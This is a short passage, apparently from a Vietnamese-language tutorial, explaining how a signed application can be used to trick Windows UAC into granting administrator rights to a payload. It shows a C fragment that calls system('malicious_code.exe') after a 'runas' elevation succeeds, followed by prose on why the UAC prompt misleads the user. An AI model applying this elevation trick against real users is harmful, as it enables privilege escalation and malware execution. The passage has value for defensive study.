);
// Kiểm tra kết quả
if ((int)result > 32) {
printf("[+] UAC đã được cấp quyền, thực thi mã độc hại!\n");
system("malicious_code.exe"); // Payload độc hại
Hàm này là trọng tâm của việc khai thác:
Tham số "runas": Kích hoạt UAC yêu cầu quyền quản trị
Ứng dụng hợp lệ: Do ứng dụng được ký số hợp lệ, Windows tin tưởng và không hiển thị đầy đủ thông tin về nguồn gốc (giao diện UAC bị đánh lừa)